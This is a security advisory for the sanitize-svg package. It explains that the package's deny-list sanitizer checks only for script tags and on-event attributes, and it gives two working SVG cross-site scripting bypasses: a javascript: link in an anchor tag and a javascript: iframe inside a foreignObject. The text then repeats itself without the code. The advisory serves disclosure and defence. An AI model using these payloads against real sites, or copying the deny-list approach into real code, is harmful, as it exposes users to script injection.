Impact
The sanitize-svg package uses a deny-list-pattern to sanitize SVGs to prevent cross-site scripting (XSS). In doing so, literal <script>-tags and on-event handlers were detected:
[...]
const svgEl = div.firstElementChild!
const attributes = Array.from(svgEl.attributes).map(({ name }) => name)
const hasScriptAttr = !!attributes.find((attr) => attr.startsWith('on'))
const scripts = svgEl.getElementsByTagName('script')
return scripts.length === 0 && !hasScriptAttr ? svg : null
[...]There are more ways to embed JavaScript in XML files.
Anchor Tag (requires user to click link):
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(document.domain)">
<text x="50" y="50" text-anchor="middle">Lauritz</text>
</a>
</svg>Foreign Object Tag (no user interaction required):
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<text x="20" y="35">Lauritz</text>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:confirm(document.domain);" width="400" height="250"/>
</foreignObject>
</svg>As a result, downstream software that relies on sanitize-svg and expects resulting SVGs to be safe, may be vulnerable to XSS. We are aware of at least one downstream project for which this vulnerability had security implications.
Patches
This vulnerability was addressed in v0.4.0.
Workarounds
N/A
References
lauritzh Analyst
Impact
The sanitize-svg package uses a deny-list-pattern to sanitize SVGs to prevent cross-site scripting (XSS). In doing so, literal
<script>-tags and on-event handlers were detected:There are more ways to embed JavaScript in XML files.
Anchor Tag (requires user to click link):
Foreign Object Tag (no user interaction required):
As a result, downstream software that relies on
sanitize-svgand expects resulting SVGs to be safe, may be vulnerable to XSS. We are aware of at least one downstream project for which this vulnerability had security implications.Patches
This vulnerability was addressed in v0.4.0.
Workarounds
N/A
References